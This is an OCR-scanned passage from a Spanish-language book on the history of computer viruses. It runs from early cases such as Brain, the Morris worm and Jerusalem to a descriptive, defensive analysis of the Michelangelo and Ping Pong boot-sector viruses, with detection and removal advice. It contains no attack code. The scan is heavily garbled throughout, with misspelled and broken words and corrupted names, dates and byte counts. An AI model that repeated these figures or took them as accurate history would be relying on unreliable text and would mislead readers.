fines de 1981 por un virus llamado Cloner, que presentaba un
pequeino mensaje en forma de paema. Se introducia en los co-
mandos de control e infectaba los discos cuando se hacia un
acceso a la informacién utilizando ¢l comando infectado.

En 1983, ¢l Dr. Fred Colien realizé un experimento en la Uni-
versidad del Sur de California, presentando ¢! primer virns
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residente et wna PC, por 1o que hoy se le conoce como el padie
de los vires inforpuificos. Coben trataba de demostrar -v lo lo-
gro-, que el cédigo de programas para computadora podia
autorreplicarse, introducirse a otros cddigos v alterar el fun-
cionamiento de las computadoeras. Era un virus muy grande,
ya que incluja unas 200 lineas de codigo en lenguaje C, pero
en comparacion con los programas desarrollados en ese tipo
de computadora y sistema operalive —Blank-, resulla que no
fue tan grande, smo mds bien muay pequeno.

Existe una referencia a un programa con un nombre muy
similar al Core Wor, que en los datos de autor y fecha de crea-
cién, dice. Escrilo por Keviit A Bporke, mayo de 1984, e Smaki-C,
y fue cedido al dominio priblico.

En 1986, es cuando ya se difunde ampliamente un eiris
con la Ninalidad de causar destrozos en la informacion de los
usuarios. Este ataca una gran cantidad de computadoras en
todo el mundo. Fue desarrollado en Lahore, Paquestian, por
dos hermanos que comerciaban en computadoras v software.

Uno de ellos escribio un programa adiministrativo de gran
utilidad. Por este motivo, tos usuarnos copraban en grandes
cantidades cada ariginal vendido, hasta que, cansados de su-
frir los electos de Lo praterin, decidieron vender copas degales
de programas populares, y en estos, asi como en su propio
programa, ntrodujeron un vires bengiio con codigo muy cle-
gante, el cual permuio que otros programadores lo modifica-
ran para hacer de él, en sus nuevas versiones, uno de los
virus mais daninos que se conocen, por la cantidad de bytes
en que reducen la capacidad de almacenamiento de los dis-
qucetes.

Infarmacicnes postenores encontradas en Compuserve, red de
servicios (nformativos de nwvel internacional, anunciaban
inlecciones del virus Brain o Paquistani, que habian borrado
archivos de estudiantes de la Universidad de Miami, de una
editarial, ¥ de un periddico. También se decia que a causa de ese
nusmo virus, se habian destruido dhscos de atgunaos estudiantes
c¢e Maryland, Acerca de la version difundida en México, nunca se
supo que borrara archivos, pero si inutiizaba los disquetes
marcando seclores buenos como defectuosos.

En su compania =Bramn Computers— se ofiecfan progra-
mas, como Lotus 1-2-3 a precios ridiculos -$1.50 dolares—, lo
quu propicid que os tunstas que llegaban a comprar en su
tienda se Hevaran a sus lupares de omigen los programas in-
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Figura 4.1
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fectados. Se supone que el referido virus infectd més de 30 000
computadoras solamente en Estados Unidos.

Las computadoras Commodore, especialmente la Anniga,
fueron atacadas en noviembre de 1987 por un virus que infec-
taba el sector de carga y se posicionaba en la memoria de la
computadora. Al introducir otros disquetes, quedaban infec-
tados en la misma drea de arranque, por lo que al circular a
través de otras computadoras, diseminaban el contagio.

En diciembre de 1987, los expertos de [BM tuvieron que
disefiar un programa antivirus para desinfectar su sistema de
correo interno, pues éste, fue contagiado por un virus no da-
fiino que hacia aparecer en las pantallas de las computadoras
conectadas a su red un mensaje navideno, el cual al reprodu-
cirse a si mismo multiples veces hizo muy lento ¢l sistema de
mensajes de la compaiia, hasta el punto de paralizarlo por
espacio de setenta y dos horas,

El virus presentaba un mensaje navideno con un drbel al
lado, y pedia al usuario que tecleara la palabra CHRISTMAS.
St se tecleaba la palabra, el virus se introducia en la lista de
correspohdencia de correo electrénico del operador y se se-
guia diseminando por toda la red. Cuando no se accedia a la
demanda y se apagaba el equipo, el virus impedia que se pu-
dieran grabar los trabajos inconclusos, perdiéndose asi mu-
chas horas de trabajo.

El Nota:
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El uso de programas originales evita en un gran porceniaje
la posibilidad de infeccion viral Sin embargo, Alduis Corpora-
fron, una empresa de gran prestigio, lanzé al mercado origi-
.nales de su programa FreeMand para Macintosh infectados
por un virus benigno Namado Alacintosh Peace, MacMayg o
Brandoio. Este virus se desarrolld para poner un mcnsa]c: de
paz en las pantallas de las computadoras, a fin de celebrar cl
aniversario de la introduccién de la Macintosh 11, el 2 de mar-
zo de 1988.

Ll virus Macintosit Peace fue difundido por muchos de los
servicios de software compartido, v a ungue se esperaba que
en el drea de la frontera de Estados Unidos con Canada se en-
contraran pocas copias nfectadas, se cree que el mensaje
aparecio en unas 350 000 pantallas de computadoras de Esta-
dos Unidos y Europa.

Richard R. Brandow, editor de la revista MacMap de Mon-
treal, Canada, contraté a un programador para realizar el
mencionado virus, que pronto se propagd por medio de los
servicios de cartelera electrénica (Bultetin Board Services,
BBS), que son sistemas de servicio de software o informacion
comparlida por computadora via médem v linea teleiénica.

Aldus inadvertidamente distribuys m'ii;males de su pro-
grama que contenian el virus. Su defensa se basé en el hécho
de que fa infeccién partié de un disco de demostracion que
proporcioné a un proveedor. Este adquiné el virus de un
programa de juego tomado de un servicio de cartelera elec-
tronica, y sin saberlo lo incluyé en el disco que contenia el
programa de demostracion y se comercializé sin sospechar
que llevaba el virus. De su diseminacion se encargaron las co-
pias ilegales que de él se hicieron.

Actuaimente siguen aconteciendo acoidentes de esta naturaleza;
es decir, algunas empresas mocentementa distribuyen copias
infectadas de sus programas. El caso mas sonado es el del
representante de Borland en México, que distnbuyé entre los
asistentes a SOFTEACH México 94, el disquete de demoslracion
del programa dBASE IV para Windows, infectado con el virus
Monkey.

La compafia ofrecié publicamente disculpas y asesoria para
eliminar el virus, asi como un aniivirus —-praporcionado por
McAlee Associales de México y distnbuido a través del BBS
Spin~, para conlrarrestar el efecto del mencionado vIfus, en caso
de haber recibido ta infeccién en sus computadoras,

. mm——r —y—————
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En 1988 se identifico el virus de ferusalén, que segiin algu-
nas versiones, fue creado por la Orgmnizaciin para e Libera-
cion de Palesting con motivo de la celebracion del cuarenta
aniversario del tltimo dia en que Palestina existié como na-
cion, el viernes 13 de mayo de 1985,

Por estas fechas, se comenzaron a difundir informaciones
sobre virus o caballos de Troyn que eran colocados en BBS's,
para que en un determinado momento desataran una serie
de Tunciones daiinas, que incluso, en ocasiones causaron la
destruccion completa del tablero electrémico (BBS). Al bajar
los programas dul tablero infectado, se esparcia el virus hacta
las compuladoras conecladas al sistema. Esto propicido que
durante un tiempo se considerard a los BBS's comwo el princi-
pal foco de cotaminacidn de los virus informaticus.

Ln Estados Unidos, se forma una asociacién de profesores,
programadores y emnpresas de soltware, para estudiar, inves-
tigar y clastficar a los virus, con la finalidad de disenar y ela-
borar medidas de proteccidn y programas antivirus, de una
manera coordinada, evitando asi esfuerzos vanos en da titdm-
ca lucha que se echaban enaima, la CVIA, Congueter Vous -
dusiry Association, con sede en Santa Clara, California.

Bulgana se ha identiicado como uno de los paises mas prolificos
en cuesliones de virus infermaticos, por lo que no es raro que ung
de los virus también mas prolilicos —por aquello de las familias de
virus—; es decir que ha servido para crear muchisimas variantes a
pariir da su cédigo, sea el virus Vienna, cuyo origen se localiza en
Bulgana.

Tan sencilio y bien estructurado era el cédigo de dicho programa,
que s0 logrd incluso reducir su lamano; es decr, la cantidad de
byles, de 648 a 348. Esto, en lugar de reducir su capacidad de
reproduccion e infeccion, al contrario, aumentd su eficiencia como
virus, En ese tiempo, se labricaron los virus Ofd Yankee y
Vaccina. En ef capitulo 6, podrd observar la gran cantidad de
virus de origen Bulgaro

La Nuclear Regulatory Commission, de Estados Unidos,
anuncio el 11 de agosto de 1988 su intencién de sancionar
hasta con 1 250 00U dotares a la planta de energia nuclear
Peach Bettom, en Pensilvania, porque sorprendid a los ope-
radores de la planta jugando en las computadoras con copias
piratas de programas de juesos.

El 2 de noviembre del mismo aiw, las redes ARPANET y
NSFnet en Estados Umidos son infectadas por un virus (gusa-

Figura 4.2
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no) que sentrodujo en ella, atectando a mas de 6 000 equop e
de instalaciones militares de la NASA, universidades v oen
tros de investigacion puiblicos y privados. Este gusano se n
filtro aprovechando las fatlas de segundad que persistion on
archivos del sistema operativo UNIX que se estaba atilizon
do. Tambi¢én, ¢l gusano invadio la red lternet.

Investipaciones posteniores dieron como resultado el e
cubrimienio del causante de la invasion del gusane a [
mencionadas redes: el estudiante Robert Morris Jr, aungue
sus declaraciones v las de sus companeros imdicaban gque o
lo hizo con malas inlenciones, sino que fue un descaido al
trabajar con un programa autorrepioductor, que se le fee e
las manos. En su defensa, se mencionaba el hecho de que o
to de avisar a los operadores de la red para ayudar a detean
la infeccion.

Recordemos ¢l programa Core War, desarrollado desde hace
mds de 20 anos por cientif,cos de los taboratonos Bell, une de o
cuales era Robert Motns padre, se sabe que su hijo traba)o ahi vn
unas vacaciones de verano. Conocid el programa y lo divulgd
entre algunos amigos, !0s cuales se encargaron de diserminario.

En oclubre de 1984 va se visualizaba a los virus como v
terrible epidentia, y empuzaron a suceder hechos deplarable



74 - Historla de |03 virus informaticos

Figura 4.3
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Un comunicado de un desconocido comando fechoterrorista
manifestaba que habia infectado una gran caniidad de com-
putadoras, y que el viernes 13 se destruirian automaticamen-
te los archivos almacenados en disquetes o en discos fijos,
desatando el panico entre los usuarios, el cual estaba funda-
do bisicamente en la supersticidn que provoca esa fecha.

Aunque no se realizé esta catastréfica profecia, sirvié para
replantear el grave peligro al que estdn eapueslos los datos
de cualquicr sistema. Esta tesis se refuvrza con la publicacion
del 30 de octubre en el diario The New York Times, la cual
anunciaba que las computadoras de la NASA habian sido in-
lerferidas por desconocidos causando problemas en el lanza-
miento det trensbordador espacial Atlantis.

En Estados Unidus, unas sesenta computadoras de la
NASA fueron infectadas en esa ocasién y el programa intruso
se siguid reproduciendo por medio de la red comercial que
tiene la NASA con empresas privadas en aquel pais. Se esti-
ma que muchos grandes bancos de datos internacionales y
mas de medic millén de PC’s han sido alacados por diversos
tipos de virus.

En Espafa también se han propagado varios tipos de vi-
rus, al grado de que una conocida revista de computacién
que incluye discos con programas en cada cjemplar, distribu-
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y6 copias de esos discos contagiadoes con el virus de Jerusa-
Ién en uno de sus nimeros de 1990, La revista reconocié pua-
blicamente su error y, ademas de retirar los ejemplares del
mercado, en el siguiente nimero distribuyd discos de pro-
gramas que contenian un antivirus para combatir al mencio-
nado virus.

Légicamente la revista en cuestidn ha sido una victima
mis de los terronstas de o infornuitica, y excepto por el cuida-
do que debemos tener todos para no caer en estos prablemas
de diseminacian de los virus, no puede culpdrsele de la exis-
tencia del virus. Los medios de informacion espaioles no es-
pecializados en informatica, exageraron los danos que el
virus podia causar, con lo que desprestigiaron a la revista.
Por ¢sto es muy importante que no se malinforme a los usua-
rios de las compuladoras sobre supuestas acciones o danos
que los virus informaticos pueden realizar.,

Se especula mucho acerca de la cantidad de virus que se
conocen hasta ahora, pero se supone que son mas de 3 000.
En algunos medios se informa que aparecen unos 1000 por
mes, pero los programas anlivirus mds medernos reportan
poco mas de 4 000, incluyendo tas variantes de los mas cono-
cidos.

Diariamente se descubren nuevos tipos de virus con codi-
gos diferentes y muy variadas [ormas de funcionamiento.
Esto se debe en gran parte a la facihdad de programacion en
el ambiente de MS-DOS, v a la vulnerabilidad que este siste-
ma operativo ofrece, ya que no es un s1stema que trabaje en
tnodo profegido.

4.2 Histeria causada por los virus informaticos

El desconocimienio de los conceptos de virus informiitico, tec-
novirus o lecnosida, que son algunos de los nombres que se
han dado al fendmeno de los programas que se ¢jecutan sin
permiso del usuario provocando pérdida de informacion, ha
creado una hisleria informadtica y se ha cubierto con un velo
de misterio, mustificando el uso de las computadoras.

Si ¢l nombre aphcado a estos programas hubicera sido cual-
quier otro, tal vez no se hubicra producido este fendmeno,
pero con el nombre de virits se han creado una serie de tabuies
y rumores que hacen que algunos programadores o usuarios
de computadoras desarrollen su trabajo temiendo a cada mo-
mento ser atacados por algin monstrua maligno,
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Figura 4.4
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Otras personas cort menos conocimientos de informdtica
creen que los virus de las computadoras son algo pareaido a
los virus bieldgicos, con capacidad para salirse de los siste-
mas, ¢ incluso contagiarlos fisicamente Exageradamente, los
han llegado a considerar como un castiye divine enviado a los
programadores o usuarios como un escarmiento por ulilizar
una tecnologia que cltos no alcanzan a comprender. En algu-
nos casos, v debido a los nombres con que se fantizan los vi-
rus —=SATAN, Baile con el diablo, Dark Avenger, ele.~, se han
cansiderado como obra satanica.

Lo anterior, aunado a los rumores alarmantes que se pro-
pagan en cuanto a la existencia de los virus, de su origen 'y
sus reacciones, hace que los nuevos usuartus sientan un te-
mor infundado hacia las computadoras Hay incluso quienes
justifican ante sus superiores s neficiencia, achacondo a
ataques virales los trabajos que tardan demasiado tiempao en
entregar, 0 que aungue presentan sin demota, no son bien
aceptados, pues contienen muchos errores o defectos,

Como cjemplo de esta lusteria citamaos las achividades te-
rroristas que ya realizan algunos grupos en varios paises en
Estados Unidos un grupo tecnoterrorista se hace llamar La
plaga, y en sus mensajes incluye stogans (lemas) como Chisie-
ra ver unds vieits por ahii y amenazan infectar sistemas de todo
el mundo, mcluyendo China y las Repablicas Sovidticas, en
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donde va existe un virus Hamado Ligrimas qre caen, que
como el tirus cascadn de Estados Unidos, hace que las Jelras
que se estian viendo en la pantalla caigan como una lluvia y
se amontonen en la parte inferior de ésta.

Otros virus presentan en la pantalla Huvias multicolores o
dibujos espectaculares y tocan alguna pieza musical, mien-
tras sus archivos son borrados al mismo ritmo. Asimismo
existe otro de estos virus que se conoce como la Muchacha ho-
landesa (I1olland Girl) o Sylvia, que cuando se manifiesta en
la computadora da'el nombre y a direccion de una mucha-
cha en Holanda y un breve mensaje en el cual se solicita que
se le envie una postal,

También se cuenta de un errus gastrondmico, el cual conla-
gid las computadoras DECsystem 10. La caracteristica de este
pequeno personaje era que permanecia latente por hempo
indefinido en el sisteima v cuando se activaba presentaba en
la pantalla el mensaje I WANT A COOKIE! (;QUIERO LINA
GALLETITA!. Lainica manera de normalizar el funciona-
miento era tecleando la palabra COOKIE, con lo que se logra-
ba desactivarlo durante algun tiempo. La version Cookie
2232, incluso al recibir la palabra COOKIE, despliega en la
pantalla et mensaje BLIRPS. ...

Un virus mis peligroso es el que actiia de tal manera que
cuando detecta cantidades de cuatro cifras, las reacomoda,
alterando el arden, Jo que hace que cuando un operario tra-
baja con miumeros —estados de cuenta, cobranzas, ete.—, utilice
cantidades lalscadas

Finalmente, s¢ conoce de fraudes a empresas y bancos uti-
lizando un programa que, aunque no se reproduce, si realiza
operaciones por su crenta. A este tipo de programas se les de-
nomina Selami, y trabajan enviando a una cuenta -del pro-
gramador-, los centavos producto de redondeos en las
cantidades de las cuentas de los clientes. El cliente, o no se
percata del error, 0 no le importa, ya que son sdlo centavos;
pero al beneficiario de estos redondeos le significa un gran
negocio. Afortunadamente ya se han tomado medidas en con-
tra de estos programadores y se ha procesado a algunos en Es-
tados Unidos.

El colmo detterrorismo viral ha sido que hasta los mismos
programas vacunas, que se supone deberian ser los mas con-
fiables, han sido modiflicados por los ciberpunks ~como se les
ha lamado también a los programadores de los virus—, De
esta manera ¢l magnifico programa FhiiShot, que se difundid
por medio de los Bulletin Board Services (BBS's) en ¢l sistema
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de software compartido ( Shareware), infects los sistemas de ciep.
tos de usuarios que veian en él un Programa de bajo costo Y con
muy buenas perspectivas en la lucha contra los virus.

Todo esto ha llevado a Personas como Ross M. Greenberg,

NATAS y otros virus
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Poslcién del autor ) 8]

S 1 usted desea adquirir informacion téenica acerca de los
virus mas conocidos en Méaico, Estados Unidos y algu-
nos paises de Latincamdrica, en este capitulo la encontrari.
Se presentan cuatro casos de virus informdticos infeclores del
drea de carga (Boot sector), un infector de programas ejecudables
(:COM v .EXE), y uno polimorfo nriitipartita, es decir, que n-
fecta la tabla de particiones (Master Boot Record, MBR) de los
discos duros, el seclor de arianque de los disquetes v archivos
ejecutables y de sistema,

Aunque se incluyen aqui algunaes programas desensamibln-
dos, con exphcaciones, se ha tenido cuidado de seleccionar
aquellos virus que trabajan de manera general v sin demasia-
das sofisticaciones, para documentar sus principales funcio-
nes, a fin de que pueda usted tomar las medidas adecuadas
para la protecaidn de sus computadoras.

En la anterior edicion se bloquearon las nameros de las -
terrupciones de las cuales hacia uso ¢l programa, a sabiendas
que dejdbamos importantes datos como para que alguion con
conocimientos pudiera hacer modificaciones v fabricar sus
propios virus, pero esta informacidn ya se encuentra al alcan-
ce de todos en las mismas resenas de los virus, que realizan
los propios programas antivirus. Adends, alo largo de todos
los capitulos se enfatizan los postulados del autor, 1a edito-
rial, y de esta obra en particular:

v

Se debe conscientizar a los usuarios de computadoras para
que no utilicen copias no autorizadas de programas. Siem-
pre pague por versiones originales; si las obluvo por me-
dio del sisterna Sharetware a lravés de un BBS, registrese y
envie al autor el importe correspondiente, que generalmente
sera muy bajo.

Recabe la mayor cantidad de informacidn técnica y utilice-
la con fines practicos, utiles a usted, a la comunidad infor-
matica y a la sociedad en general,

Cualquier cosa que se haga, debe hacerse bien, desinteresa-
damente, y con honor; es decir, con #ica profesional.

N

A\ D

Posicién del autor

Como miembro honorario del Club de Virdlogos de microcom-
putadoras de Guadalajara, A. C., he aceptado cumplir cabal-
mente ¢l cédigo de élica que ¢l mismo impone a sus socios,
por le tanto, seguiré escribiendo, estudiando, investigando y
editando libros, utilizando las computadoras, para hacer lle-
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gar a ustedes un trabajo digno, a fin de lograr [as metas que
me he trazado.

Cuando comenczaba a estudiar los virus informdricos, cir-
culaba poca inflormacion acerca de ellos Unicamente se en-
contraba alguna mencidn en articulos de revistas y muy
pocas en medios especializados en informdtica, exceplo en
los Bi3S’s, o en jos archivos de las redes internacionales como
Internct o Compuserve, donde los usuanos de computadoras
comparten sus eaperienctas diarias. Enese tiempo, ya se veia
con malos 0jos a las revistas o personas, que incluso ofrecian
kits de cddigos de virus para que los lectores labricaran los su-
yos propios.

Ahora, en Estados Unidos y en algunas paises europens
como Bulgaria, por ¢jemplo, existen clubes de usuarios de
computadoras que se dedican a disefar virus, y realizan
compelencias para ver quidn es el mejor. Tambidn existen em-
presas de nformatica que ofrecen libros, disquetes y hasta
CD-ROAI's, que mcluyen codigos virales, ¢ incluso una “ma-
quina de virus” para crear sus propios vicus, incluyvendo las
caracieristicas que uno desee

Copgright’ (o) 192

L

(Lor qué se permile eso, si ya se sabe de los daios que cau-
san los virus? La legislacion en esos paises no contempla san-
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ciones para las personas que realizan esas actividades, sin
embargo, se ha procesado a programadores y fuickers que han
incursionado en redes de empresas y de gobierno, a las cua-
les no tienen acceso.

- Aunque en los medios informiticos, a travis de servicios
infarmativos y redes se critica severamente a esas personas,
su defensa se basa en que la tecnologia no se puede detener,
ya que acusarlos seria como acusar a Efnstein por sus investi-
gaciones sobre la cnergia nuclear

El autor también estd consciente del mal uso que se le pue-
de dar a la informacidn, pero jde qué otra manera se puede
poner al alcance de los lectores 1a tecnologia? ;los maestros
de programacion son culpables de enseniar a sus alumnos
lenguajes como ensamblador o C, que pueden utilizar para
hacer virus o incluso fraudes informiticos? Lo importante es
educar en ¢l mas amplio sentido; esto es, inculcar a los jove-
nes una moral racional, sin fanatismos; es doecir, de servicio i
respeto a sus senrejantes.,

5.1 Virus infectores del sector de arranque

Para que se entienda claramente comao es que los virus infec-
tan los discos en sus dreas mas vulnerables, se muestran cua-
tro casos parhiculares de infeccion en el sector de carga (Boot
sector) de los disquetes y de la tabla de pariiciones (Master
Boot Record, MBR) de los discos duros.

Alanalizar el disco nfectado conun programa de utilerias
que permite visualizar el mapa y los sectores, se incluye una
breve descripeion de sus principales dreas de sistemia, de alina-
cenantivito de la fiformacion y de control de los archivos. Se han
capturadu las pantallas correspondientes para moslrar las di-
ferencias entre un disco smio y uno infectado,

5.1.1 Virus Miguel Angel (Michelangelo)

Este virus descubierto en abril de 1991, es del tipo tifectores
del sector de caiyga, por lo tanto, infecta el sector de caiga de los
disquetes y la Jabla de particiones de los discos duros. Se cree
que su OrIgeIt e5 holandés ¢ succo, va que es en esos paises
europeos donde se obticnen los primeros reportes de ét
Como la mayoria de los virus, Michelangelo se posiciona en
la memorta de las computadoras cuando se “carga” el siste-
ma operalivo desde un disquete o un disco duro infectados.
A partir de ese momento, infecta cualquier disquete de 5 14
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pulgadas que sentroduzea en la unidad, sino estd protegido
contra vscrilura.

Cualquier viuus infector dei sector de carga se instala en la
memoria de la computadora, incluso cuande sélo se hace un
intenlo de carga, es decir, aunque el disquele no sea de sistema,
cuando se mete a la unidad A y se pulsan las teclas

[+ (&7 + B -

Un error frecuente que produce un “intento de carga”, se da
cuando usted olvida un disguete en la unidad y apaga la
computadora, al dia siguiente, al encenderla, hace un intento de
carga desde ahi, pero al deleclar la compuladara que no se
encuentran los archivos de sistema, presenta el mensaje de error
y pide un disco de sislema. Si el disquete eslaba nfeclado con el
virus, ésle queda instalado en la memona de la computadora.

El virus se instala en la pmfe alta de ta memoria de la com-
putadora pero siempre abajo de los 640 kB convencionales,
ocupando 2 048 bytes Genera una proteccion mediante [a fn-
terrupeidu 124 del BIOS, regresando un valor para la cantidad
de memoria disponible, que es 1igual a la memona real insta-
lada menos la cantidad reservada para él mismo. De esta ma-
nera evita que pueda ser chminado por otros programas que
se pudieran cargar en la misma localidad de memoria,

Cuando infecta un disquete de 360 ki de 5 147, posiciona ¢l
sector de carga original (Bool sector) en el sector 11; si el dis-
quete es de 1 2 MB de 5 Y47, 1o hace en el sector 28 —que es el
ultimo del drea de directorio raiz (Root directory)- Ubicando
el programa de carga en esie sector se protege, pues ninguna
informacién de datos se sobreescribira en el drea de directo-
rios. En cambio, cuando la infeccion es en un disco duro la
tabla de particiones ¢ Master Boot Record (MBR} se desplaza ala
direccidn fisica: Cilindro 0, Lado 0, Sector 7, y el virus se aloja
en el lugar del MBR. Michelangelo cabe en un'sector, ya que su
longitud es de 56l 429 byles (fos sectores contienen un total
de512).

El virus Michelangelo se acliva cualquier 6 de Marzo, pues
se crec que fue hecho para “celebrar” ese dia el nacimiento de
Migucel Augel Buonariol, escultor, arquitecto y pitor italano
del Renacimiento [En esa fecha, si su computadora vstd infec-
tada con el virus, al “arrancar” ¢ sistema con el disquete o
disco duro “enfermo” lo primero que hace éste es veriticar la
fecha del reloj del sistema. S1 ésla coincide, enJugar de infec-
tar disqueles o ¢l disco duro, sobreescribe ¢l disco desde el

T

Figura 5.2
poniallo de
Norton Editor
version 7.0
mosirando lo
tobla de
particiones
“saha” de un
disco duro.
Observe que
comienza ¢con
FA

Figura 5.3

El sector que
ocupa la tabla
de particiones se
muesira de esta
manera cuando
ha sldo
infectado con el
virus
Michelangeio.
Note que
desapareclo el
FA inlclal.
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carga el virus todavia no esta asignada la fecha en la memo-
ria. En las AT ~con procesadores 286 en adelante- inmediata-
mente después de la “carga” un 6 de marzo, sobreescribe en
el drea de carga, en Ja tabla de asignacién de archivos y en el
directorio raiz, una serie de ceros si el sistema operativo es
PC-DOS o Fé si el sistema es M5-DOS, con lo que el disco
queda imposibilitado para hacer la recuperacion de los datos
borrados.

Investigaciones del Clitk de Virdlogos de Microcomputadoras
de Guadalajara en México, determinaron que el virus infecta
redes que utilizan sistema operativo MS DOS, por-supuesto,
pero también se infectd una red que corria con Novell y Unix.
Lo anlerior se debe a que el virus ocupa un solo sector en el
disco, por lo tanto al hacer la infecci6n no necesita de DOS
para poder ubicarse en el sector fisico de la (abla de particio-
nes. El requisito quizds sea que ¢l sistema cucnte con un pro-
cesador Intel o compalible de la familia de los 8086.

Miguel Angel se puede detectar y eliminar con varios anti-
virus: SCAN y CLEAN de McAfee, en sus versiones 80 o pos-
teriores; CPAV (Central Point Antivirus); PC-GUARDIAN,
PC-cillin, MSAV (Microsoft Antivirus), que se incluye con ¢l
MS-DQOS desde la versidn 6.0, y otros. La deteccion y elimi-
nacién de este virus debe hacerse cuando et reloj det siste-
ma no tenga la fecha 6 de marzo, de lo contrario, al
encender la computadora se barra la informacién del disco
duro.

En febrero de 1992, en México se dio gran difusién en lus
medios informativos acerca de las atrocidades que podria lle-
var a cabo ese virus en millones de computadoras en todo el
mundo, Efectivamente, si todas esas computadoras se hubie-
ran “cargado” desde discos infectados ese dia, la pérdida de
informacidn hubiera sido desastrosa e irreparable, pero es
casi imposible que todas las computadoras tengan el mismo
tipo de virus porque a la fecha se conocen mis de 3000 y cada
uno de ellos tiene diferentes formas y fechas programadas de
activacidn.

Lo anterior no quiere decir que debamos apagar la compu-
tadora si es la fecha de activacion del virus, ya gue como se
menciond, existen infinidad de virus que “explotan” en dife-
rentes {echas, horas, y ante determinadas condiciones de la
computadora; lo que se debe hacer es tomar medidas de precau-
cidn y prevencion, y contar con uno o varios proyranias anlivi-
rus. Estos temas sc tratan exhaustivamente en los capitulos 8
y 9 de este libro,

.

Figura 3.4
Mensale de
Infecclon que
presenta MSAV
al detectar el
virus
Michelangelo.
Comao respuesia,
usied puede
Detener,
Continuar o
Iniciar; es declr,
reiniclalizar la
computadera.
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Ricrosoft Anti-Viras

Virus localizado

Disco infeclado por el virus Michelangelo.

I T Tk
A

Umdad activa: I
Uit virus detectadoMiche langelo
Ultima accibn: R

ficrasoft
PPy Anti-Yirus

En particular, para este virus, se recomienda que un dia an-
tes de cualquier 6 de marzo cambie la fecha de su compulta-
dora con ¢l comando DATE del DOS. Si su computadora no
tiene bateria y reloj permanente, es una buena wdea no intro-
ducir [a fecha de ese dia. Si el virus se encuentra instalado en
la memeoeria de la computadora y no es 6 de marzo, se debe
apagar ésta para “matar” al virus. Después se puede “car-
gar” ¢l sistema operativo desde un disquete “limpio” y pro-
ceder a la revision del disco duro o disquetes infectados.

La mwjor mancra de protegerse de éste y de otros virus que
formalean el disco o sobreescriben la FAT o el directorio, es
crear un disco de rescate con Norton Utditics, o un emergency
disk utilizando PC Tools, versién 8.0 en adelante; asi, st se st-
{re un desastre en el disco duro, siempre se podrd reslaurar a
como estaba antes de la infeccidn, ya que la informacisn esti
ahi, pero sin la FAT y el directorio o se puede accesar.

5.1.2 El virus de Turin

El wirus de Turin o virus dela pelotita es un segmento de codigo
que, a diferencia de la mayoria de los virus, no modifica los
archivos ejecutables i produce ningtin daio a los discos, ex-
cepto infectarlos. Este virus graba parte del mencionado ¢o-
digo en el drea e carga iniciaf (Boot area) y, para ne afectarla,

[
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traslada el programa de carga inicial al primer sector libre que
encuentra y lo marca como defectuoso en la fabla de asigna-
cién de archivos (File Allocation Table, FAT), para que vste sec-
ior no pueda ser accesado por ¢l sistema operativo y no se
puedan hacer modificaciones en él. También es conocido
coma Veracruz, Bouncing Ball o del Puig Pong

Fue reportado por vez primera en marzo de 1988, y en su
versian original sélo infectaba disquetes. Funciona en forma
aleatoria, es decir, que no siempre se activa cuando esta tra-
bajando la computadora, pero en algunas ocasiones, cuando
se producen las condiciones apropiadas, produce una moles-
ta pelolita que rebota a lo largo de la pantalia.

Algunos usuarios que padecieron este desagradable virus
en sus sistemas, se acostumbraron a vivir con ¢él, y cuando
aparecia la pelotita, la Gimica solucion que aplicaban era, apa-
gar la computadora y esperar que en la prévima sesion de
trabajo no se presentara

Algunas partes de este ejemplo se basan en las invesligaciones
realizadas por los ingenieros del Centro de Calculo de Ia Facultad
de Ingereria (CECAFI) de la Universidad Nacional Autdnoma de
México (UNAM) El autor expresa un especial agradecimiento a
los ingenieros José R Gallardo Hernandez y Héclor M, Badillo
Rojas. por los claros conocimientos vertidos en el curso Virus
informaticos impartido en la Dwvisidn de Educacidn Continua, en el
Palacic de Mineria de ¢sa facultad de ingenieria.

Como la seccidn del drea de cargn micial (Boot area), conoci-
da como bloque de pardmetros del BIOS (BIOS Parameter Block,
BPB) aloja los datos relativos al tipo de formato que tiene el
disco, la version del sistema operalivo y las copias de la tabla
de asignacion de archivos {File Allocation Table, FAT}, parte
del virus sc coloca después de los primeros 32 desplazamien-
tos, mientras que €l resto de su cédigo se anexa al cluster -
grupo de sectores contiguos— donde se copié el programa de
carga inicial.

Esto es precisamente lo que nos ayuda a detectar este tipo
de virus, pues nos perimite indagar sy el cluster 2 aparece mar-
cado como danado —aunque (isicamenle ne lo esté-. De ser
asi, ya lo tenemos localizado. También podemos buscar ¢l
programa de carga inicial en el sector 13, con lo cual se con-
firman nuestras sospechas. Ocupa en el disco 1024 bytes, o
sea dos sectores complelos.

.

Figura 5.5
Sector 0 de un
disquete de
5% " no
infectado,
donde se
muestra el
bloque de
parametros de!
BIOS, BPB.
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La basqueda del programa de carga micial se facilita por
las cadenas de caracteres de los mensajes de error gue contie-
ne, ot elemplo, en la version 3.3 del sistema operanve MS-
DOS, ¢l mensaje de erron Jices

Non-System disk or disk error Replace and stike

ola 62 enespaniol, que Mhcrosofliegisira en la parte superior
como MS5DOS5.0, v cuve mensaje de error diee:

Error, de disce de sistema Reemplace y presione |
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Con cualquier programa de utilidades que tenga la carac-
teristica de brisqueda de cadenas de caracteres en codiyo ASCU, se
pucde indagar en qué seclor se encuentra tal programa de
carga inicial, y sino estd alojado en el drea de can g iimcial (Boot
sector), puede supanerse que un virus lo ha desplazade de su
sector original y ha lomadoe su lugar, marcdndolo como dana-
do o no.

Contrartamente a lo que se prensa acerea del vius de Tierin,
no resubta ficil infectar una computadera con él cuando no se
encuentra activo en la memoria RAM. Los virus infeclores
del area de carga inicial selamente se alojan en la memoria
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Figura 5.6
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Figura 5.7
Observe en si
“mapa”, cémo
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virus de Turin
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programa de
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“daotado”,

RAM cuando se carga o s intenta ca rgar el sistema operativa
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No olvide que tos virus informdticos son silo programas, y
el de Turin se carga en la memona cuando la computadora lee
el cddigo del virus que se encuentra en el sector 0 (cero). De

ninguna olra manera puede tomar el control de la memoria.

Sidesea “matar” al virus, solamente apaguela.

Forma de coniagio

Siinicializa la computadora desde un disquete o desde el dis-
co duro infectado, el virus serd duefio de todas las operacio-
nes de lectura, grabacién o copiado que usted intente hacer,
y todos los discos que introduzea en la computadora serdan
contagiados inmediatamenle con cualquier acceso gue se
haga, incluso cuando pida usled visualizar el directorio de
un disco duro o de un disquele.

Al encenderse la computadora eintroducr un disco de sis-
tema operalivo que esté contaminado, lo primero que se
“carga” en la memoria de la computadora son las instruccio-
nes del segmento de cédigo del virus. Una vez en la memo-
ria, el virus le indica al sistema realizar un saflo (jump) para
redireccionar la orden de lectura del programa de carga que
se encuentra alojado en algin otro sector —en nuestro caso
